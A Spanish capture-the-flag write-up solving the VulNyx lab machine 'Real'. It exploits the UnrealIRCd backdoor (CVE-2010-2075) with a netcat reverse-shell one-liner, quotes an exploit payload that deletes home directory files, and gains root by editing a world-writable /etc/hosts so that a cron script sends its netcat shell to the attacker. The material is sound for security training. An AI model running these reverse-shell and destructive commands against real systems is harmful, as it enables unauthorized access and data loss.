Information

Real es una máquina Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00072s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6667/tcp open  irc
6697/tcp open  ircs-u
8067/tcp open  infi-async
❯ nmap -sVC -p22,80,6667,6697,8067 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00036s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 db:28:2b:ab:63:2a:0e:d5:ea:18:8d:2f:6d:8c:45:2d (RSA)
|   256 cd:a1:c3:2e:20:f0:f3:f6:d3:9b:27:8e:9a:2d:26:11 (ECDSA)
|_  256 db:98:69:a5:8b:bd:05:86:16:3d:9c:8b:30:7b:a3:6c (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd

Shell (server)

6667/TCP (UnrealIRCd)

CVE-2010-2075

Detecto que es vulnerable con el script NSE (irc-unrealircd-backdoor) de nmap.

❯ nmap -p6667 --script="irc-unrealircd-backdoor" 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:59 CET
Nmap scan report for 192.168.1.59
Host is up (0.00041s latency).

PORT     STATE SERVICE
6667/tcp open  irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277

Encuentro el siguiente exploit, revisando el código del mismo, veo que el método de explotación (PoC) es simple, envía vía socket la cadena AB + ; + COMANDO y posteriormente el servidor interpreta el comando.

my $payload5 = ‘AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *’;

Reverse Shell

Envío el payload y obtengo una shell como usuario server.

❯ echo "AB;nc -e /bin/sh 192.168.1.10 443" |nc 192.168.1.59 6667
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 41528
id ; hostname
uid=1000(server) gid=1000(server) groups=1000(server)
real

Privilege Escalation

Enumeration

Cron

Con pspy detecto que, cada minuto, el usuario root (UID=0) ejecuta el script /opt/task.

server@real:/dev/shm$ ./pspy64 

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░ 

2025/03/12 08:18:01 CMD: UID=0     PID=971    | /usr/sbin/CRON -f
2025/03/12 08:18:01 CMD: UID=0     PID=974    | /bin/bash /opt/task 

Analizo /opt/task y observo que envía un ping al dominio shelly.real.nyx. Si el dominio está activo, el script establece una reverse shell hacia dicho dominio a través del puerto TCP 65000.

#!/bin/bash

domain='shelly.real.nyx'

function check(){

        timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
    if [ "$(echo $?)" == "0" ]; then
        /usr/bin/nohup nc -e /usr/bin/sh $domain 65000
        exit 0
    else
        exit 1
    fi
}

check

Writable Files

Dispongo de permisos de escritura en el archivo /etc/hosts.

server@real:~$ ls -la /etc/hosts
-rw----rw- 1 root root 183 May  3 08:36 /etc/hosts

Abuse

/etc/hosts

Agrego el dominio (shelly.real.nyx) para que apunte a mi IP local.

server@real:~$ cat /etc/hosts
127.0.0.1	localhost
1.2.3.4		real

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

192.168.1.10	shelly.real.nyx

Reverse Shell

Me pongo en escucha por el puerto 65000 y obtengo una shell como root.

❯ nc -lvnp 65000
listening on [any] 65000 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 55392
id ; hostname
uid=0(root) gid=0(root) groups=0(root)
real

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@real:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
3b7fb***************************
593ba***************************

Hasta aquí la resolución de la máquina Real de VulNyx.

Happy Hacking! 🙂